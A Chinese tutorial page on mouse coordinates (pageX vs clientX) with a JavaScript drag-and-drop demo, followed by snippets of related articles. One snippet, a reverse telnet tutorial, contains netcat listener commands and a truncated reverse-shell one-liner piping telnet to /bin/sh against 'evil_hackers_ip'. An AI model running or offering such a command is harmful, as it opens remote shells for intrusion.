PageX:鼠标在页面上的位置，从页面左上角开始，即是以页面为参考点，不随滑动条移动而变化。

clientX:鼠标在页面上可视区域的位置，从浏览器可视区域左上角开始，即是以浏览器滑动条此刻的滑动
到的位置为参考点，随滑动条移动 而变化。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
<title>CSS之拖拽</title>
<style type="text/css">
body{
background: black;
}
#login{
height: 100px;
width: 100px;
border: 1px solid black;
position: relative;
top:200px;
left: 200px;
background: #00FF00;
}
</style>
</head>
<body>
<div id="login"></div>
<script type="text/javascript">
var oDiv = document.getElementById("login");
oDiv.onmousedown = function(e){
var e = e || window.event;//window.event兼容IE,当事件发生时有效

var diffX = e.clientX - oDiv.offsetLeft;//获取鼠标点击的位置到所选对象的边框的水平距离
var diffY = e.clientY - oDiv.offsetTop;

document.onmousemove = function(e){ //需设为document对象才能作用于整个文档
var e = e||window.event;
oDiv.style.left = e.clientX - diffX + 'px';//style.left表示所选对象的边框到浏览器左侧距离
oDiv.style.top = e.clientY -diffY + 'px';
};
document.onmouseup = function(){
document.onmousemove = null;//清除鼠标释放时的对象移动方法
document.onmouseup = null;
}
}
</script>
</body>
</html>

CSS之拖拽1的更多相关文章

  1. CSS之拖拽库2

      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.or ...

  2. css 可拖拽列表

    <!DOCTYPE HTML> <html><head> <meta charset="UTF-8"> <title>d ...

  3. 纯JS.CSS编写的可拖拽并左右分栏的插件（复制代码就能用）

    <!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equ ...

  4. CSS 奇思妙想 | 使用 resize 实现强大的图片拖拽切换预览功能

    本文将介绍一个非常有意思的功能,使用纯 CSS 利用 resize 实现强大的图片切换预览功能.类似于这样: 思路 首先,要实现这样一个效果如果不要求可以拖拽,其实有非常多的办法. 将两张图片叠加在一 ...

  5. 超强的纯 CSS 鼠标点击拖拽效果

    背景 鼠标拖拽元素移动,算是一个稍微有点点复杂的交互. 而在本文,我们就将打破常规,向大家介绍一种超强的仅仅使用纯 CSS 就能够实现的鼠标点击拖拽效果. 在之前的这篇文章中 -- 不可思议的纯 CS ...

  6. jQuery可拖拽3D万花筒旋转特效

    这是一个使用了CSS3立体效果的强大特效,本特效使用jQuery跟CSS3 transform来实现在用户鼠标按下拖动时,环形图片墙可以跟随鼠标进行3D旋转动画. 效果体验:http://hovert ...

  7. React.js实现原生js拖拽效果及思考

    一.起因&思路 不知不觉,已经好几天没写博客了...近来除了研究React,还做了公司官网... 一直想写一个原生js拖拽效果,又加上近来学react学得比较嗨.所以就用react来实现这个拖 ...

  8. html5拖拽事件 xhr2 实现文件上传 含进度条

    <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content ...

  9. js拖拽效果实现

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

随机推荐

  1. JBoss提供的常用的对称加密算法

    package com.test.resteasy; import java.io.File; import java.net.MalformedURLException; import java.n ...

  2. 反向telnet连接

    首先使用nc工具进行监听: nc -l -n -v -p 80 nv -l -n -v -p 25 然后: /bin/telnet evil_hackers_ip 80 | /bin/sh | /bi ...

  3. Android短信监听软件

    本案例是在android手机中运行,是一个没有界面的短信监听软件.主要是用BroadcastReceiver来接受短信广播,当接收到短信后就跳转到service中来转发短信.哈哈,不是用来干坏事的.这 ...

  4. [设计模式2]--模板(Template)模式

    原文出处:http://blog.csdn.net/lwbeyond/article/details/7517679 一. 问题 在面向对象系统的分析与设计过程中经常会遇到这样一种情况:对于某一个业务 ...

  5. phpstorm一个窗口打开多个项目

    phpstorm默认一个窗口只显示一个项目,入股拟新建一个项目,他会给你个选项卡,问你是在新窗口打开新项目还是在本窗口打开. 能不能在一个窗口打开多个项目呢?就像sublime text那样,其实是可 ...

  6. Java再学习——Executor，ExecutorService，ScheduledExecutorService与Executors

    1,Executor.ExecutorService和ScheduledExecutorService,它们都是接口,它们的关系是ScheduledExecutorService继承ExecutorS ...

  7. js中数组操作

    var selectedCodeArray = []; var num = $.inArray(值, selectedCodeArray)  //值在数组中的位置 selectedCodeArray. ...

  8. 数据分析之sql篇

    刚才在琢磨客户分析的时候,突然想到一个假设,如果某个客户的续约率很高,那么证明他在产品的使用上效果是很好的,如果这些些产品的组合十分有效,那么查看其他类似的客户的续约率,做一次论证应该是有意义的.于是 ...

  9. solr--搜索参数随笔

    1.默认搜索域.查询域的关系 qf字段的配置:query fields,指定solr从哪些field中搜索 在solrj中设置如下: params.setParam("qf", & ...

  10. IOS开发篇UI之重用scrollView

    1.scrollView的介绍 scrollView是UI中的基础视图,他有着至关重要的作用,也是我们在UI中常用的控件.他的代理有很多我们需要用,这里我们就不再一一介绍了. 2.简单scrollVi ...